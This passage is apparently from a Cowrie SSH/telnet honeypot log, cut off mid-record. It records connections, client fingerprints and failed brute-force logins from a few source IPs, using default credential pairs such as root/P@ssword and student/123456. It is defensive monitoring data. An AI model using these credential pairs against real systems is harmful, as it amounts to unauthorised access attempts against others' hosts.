{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:05.952096Z","src_ip":"176.65.132.129","session":"8ad3d22b4e34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"ali","message":"login attempt [ali/ali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:06.202311Z","src_ip":"176.65.132.129","session":"8ad3d22b4e34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:07.322898Z","src_ip":"176.65.132.129","session":"8ad3d22b4e34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":54578,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1b3cf82e335","protocol":"ssh","message":"New connection: 176.65.132.129:54578 (159.203.135.109:22) [session: d1b3cf82e335]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:09.205675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:09.305279Z","src_ip":"176.65.132.129","session":"d1b3cf82e335","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:09.309146Z","src_ip":"176.65.132.129","session":"d1b3cf82e335","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword","message":"login attempt [root/P@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:09.813335Z","src_ip":"176.65.132.129","session":"d1b3cf82e335","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42510,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf0f06945897","protocol":"telnet","message":"New connection: 45.58.127.90:42510 (10.17.0.5:23) [session: cf0f06945897]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:10.357406Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.106.245.20","src_port":58436,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5984b9ebb40","protocol":"ssh","message":"New connection: 193.106.245.20:58436 (10.17.0.5:22) [session: a5984b9ebb40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:10.406984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:10.411463Z","src_ip":"193.106.245.20","session":"a5984b9ebb40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:10.537060Z","src_ip":"193.106.245.20","session":"a5984b9ebb40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:10.897334Z","src_ip":"176.65.132.129","session":"d1b3cf82e335","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"PASSWD","message":"login attempt [ubuntu/PASSWD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:11.075845Z","src_ip":"193.106.245.20","session":"a5984b9ebb40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:12.207448Z","src_ip":"193.106.245.20","session":"a5984b9ebb40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":54600,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b3a7536045b","protocol":"ssh","message":"New connection: 176.65.132.129:54600 (159.203.135.109:22) [session: 8b3a7536045b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:12.786610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:12.790883Z","src_ip":"176.65.132.129","session":"8b3a7536045b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:12.872738Z","src_ip":"176.65.132.129","session":"8b3a7536045b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"gitlab-runner","message":"login attempt [gitlab-runner/gitlab-runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:13.119446Z","src_ip":"176.65.132.129","session":"8b3a7536045b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:14.365026Z","src_ip":"176.65.132.129","session":"8b3a7536045b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":54234,"dst_ip":"159.203.135.109","dst_port":22,"session":"60161f9f4a32","protocol":"ssh","message":"New connection: 176.65.132.129:54234 (159.203.135.109:22) [session: 60161f9f4a32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:16.121221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:16.125282Z","src_ip":"176.65.132.129","session":"60161f9f4a32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.643831729888916,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:16.174640Z","src_ip":"45.58.127.90","session":"c01a744b26a3","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:16.206368Z","src_ip":"176.65.132.129","session":"60161f9f4a32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome1","message":"login attempt [root/welcome1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:16.573194Z","src_ip":"176.65.132.129","session":"60161f9f4a32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:17.657700Z","src_ip":"176.65.132.129","session":"60161f9f4a32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":54254,"dst_ip":"159.203.135.109","dst_port":22,"session":"8398b8146cd4","protocol":"ssh","message":"New connection: 176.65.132.129:54254 (159.203.135.109:22) [session: 8398b8146cd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:19.577444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:19.581810Z","src_ip":"176.65.132.129","session":"8398b8146cd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:19.663416Z","src_ip":"176.65.132.129","session":"8398b8146cd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"adminuser","message":"login attempt [adminuser/adminuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:19.908944Z","src_ip":"176.65.132.129","session":"8398b8146cd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:20.994900Z","src_ip":"176.65.132.129","session":"8398b8146cd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":54274,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0d516bc1e27","protocol":"ssh","message":"New connection: 176.65.132.129:54274 (159.203.135.109:22) [session: c0d516bc1e27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:22.930157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:22.934788Z","src_ip":"176.65.132.129","session":"c0d516bc1e27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:23.016431Z","src_ip":"176.65.132.129","session":"c0d516bc1e27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"123456","message":"login attempt [student/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:23.263409Z","src_ip":"176.65.132.129","session":"c0d516bc1e27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:24.348382Z","src_ip":"176.65.132.129","session":"c0d516bc1e27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57246,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c53cbc33316","protocol":"ssh","message":"New connection: 176.65.132.129:57246 (159.203.135.109:22) [session: 2c53cbc33316]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:26.312208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:26.317482Z","src_ip":"176.65.132.129","session":"2c53cbc33316","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:26.509745Z","src_ip":"176.65.132.129","session":"2c53cbc33316","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"uftp","message":"login attempt [uftp/uftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:26.958648Z","src_ip":"176.65.132.129","session":"2c53cbc33316","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:28.043712Z","src_ip":"176.65.132.129","session":"2c53cbc33316","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57252,"dst_ip":"159.203.135.109","dst_port":22,"session":"4104ef34fc6d","protocol":"ssh","message":"New connection: 176.65.132.129:57252 (159.203.135.109:22) [session: 4104ef34fc6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:29.907251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:29.911912Z","src_ip":"176.65.132.129","session":"4104ef34fc6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.